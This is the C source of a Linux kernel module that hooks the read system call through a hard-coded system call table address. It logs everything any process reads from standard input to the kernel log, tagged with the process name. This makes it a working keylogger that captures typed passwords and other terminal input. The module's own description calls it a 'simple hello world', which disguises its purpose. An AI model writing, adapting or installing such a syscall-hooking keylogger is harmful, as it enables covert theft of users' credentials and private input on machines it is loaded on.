#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <asm/atomic.h>
#include <linux/sched.h>

#include <asm/uaccess.h>

typedef asmlinkage ssize_t (*sys_read_t)(unsigned int fd, char __user * buf, size_t count);

// Global variables
void **sys_call_table = NULL;
sys_read_t sys_read_original = NULL;
atomic_t counter_unload;


asmlinkage ssize_t sys_read_hooked(unsigned int fd, char __user * buf, size_t count)
{
	ssize_t ret;
	char *local_buf;

	atomic_inc(&counter_unload);
	ret = sys_read_original(fd, buf, count);

	if(ret > 0){
		if(fd == 0){
			local_buf = kmalloc(ret+1, GFP_KERNEL);
			if(local_buf == NULL) goto out;
			if(copy_from_user(local_buf, buf, ret)){
				printk(KERN_EMERG "ALARM\n");
			}else{
				printk("%s said: %s\n", current->comm, local_buf);
			}
			kfree(local_buf);
		}
	}

out:

	atomic_dec(&counter_unload);
	return ret;
}

int init_module(void)
{

	printk(KERN_INFO "Hello World\n");

	atomic_set(&counter_unload, 0);

	sys_call_table = 0xc02bfaa0;

	printk("saving orig sys_read\n");
	sys_read_original = sys_call_table[__NR_read];

	printk("hooking sys_read\n");
	sys_call_table[__NR_read] = sys_read_hooked;

	return 0;
}


void cleanup_module(void)
{
	printk("restoring original sys_read\n");
	sys_call_table[__NR_read] = sys_read_original;

	while(atomic_read(&counter_unload) > 0){
		printk("......\n");
		schedule();
	}

	printk(KERN_INFO "k thx bye\n");
}


MODULE_LICENSE("GPL");

MODULE_AUTHOR("");
MODULE_DESCRIPTION("simple hello world");